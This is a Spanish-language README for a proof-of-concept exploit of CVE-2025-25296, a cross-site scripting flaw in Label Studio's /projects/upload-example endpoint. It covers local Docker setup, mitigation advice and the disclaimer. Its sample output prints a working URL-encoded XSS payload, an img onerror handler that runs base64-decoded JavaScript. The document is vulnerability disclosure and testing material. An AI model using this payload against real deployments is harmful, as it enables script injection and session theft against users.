CVE-2025-25296 Prueba de Concepto (POC)

Descripción

Este proyecto demuestra una prueba de concepto (POC) para la vulnerabilidad CVE-2025-25296 que afecta a Label Studio, una herramienta de etiquetado de datos de código abierto. La vulnerabilidad reside en el endpoint /projects/upload-example, que no sanitiza el contenido HTML proporcionado por el usuario en las solicitudes GET. Esto permite a los atacantes ejecutar JavaScript arbitrario en el navegador de la víctima, lo que puede dar lugar a ataques de Cross-Site Scripting (XSS).

Detalles de la Vulnerabilidad

• Componente Afectado: endpoint /projects/upload-example de Label Studio
• Impacto: Cross-Site Scripting (XSS)
• Causa Raíz: Saneamiento inadecuado del contenido HTML proporcionado por el usuario en solicitudes GET
• Explotación: Creación de una URL maliciosa que contiene una configuración de etiquetas XML especialmente formateada con JavaScript incrustado
• Mitigación: Actualizar a la versión 1.16.0 o posterior de Label Studio

Solución Temporal

Como solución temporal:

1. Evite usar el endpoint /projects/upload-example con solicitudes GET.
2. Prefiera las solicitudes POST para subir configuraciones.

Requisitos

• Python 3.x
• Docker
• Paquetes de Python requeridos (instalados mediante pip usando setup.sh)

Archivos

• poc.py: Script de Python para explotar la vulnerabilidad y demostrar el ataque XSS.
• setup.sh: Script para configurar el entorno vulnerable mediante Docker.

Instrucciones de Configuración

1. Clone este repositorio:

   root@kitploit:~

   git clone CVE-2025-25296-POC
   cd CVE-2025-25296-POC
   

2. Ejecute el script de configuración:

   root@kitploit:~

   chmod +x setup.sh
   ./setup.sh
   

3. El script de configuración realizará lo siguiente:

   • Comprobar si Docker está instalado.
   • Instalar los paquetes de Python requeridos.
   • Descargar la imagen Docker vulnerable de Label Studio (1.15.0).
   • Ejecutar la instancia vulnerable de Label Studio en localhost:8080.
   • Crear una cuenta en http://localhost:8080

Explotación

1. Ejecute el script de explotación:

   root@kitploit:~

   python poc.py
   

2. El script realizará lo siguiente:

   • Enviar una solicitud GET manipulada al endpoint vulnerable /projects/upload-example.
   • Mostrar una URL con el payload.

3. Abra la URL proporcionada en un navegador web para observar la alerta XSS activada por el payload.

Ejemplo de Salida

[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E

Recomendaciones de Mitigación

Para mitigar esta vulnerabilidad:

1. Actualice Label Studio a la versión 1.16.0 o posterior.
2. Habilite una Política de Seguridad de Contenido (CSP) estricta para bloquear la ejecución de scripts.

Descargo de Responsabilidad

Este proyecto está destinado únicamente a fines educativos y de investigación. Úselo de manera responsable y solo en sistemas donde tenga permiso explícito. El uso no autorizado de esta herramienta puede violar las leyes aplicables.

Referencias

• Repositorio de Label Studio en GitHub
• Detalles de CVE-2025-25296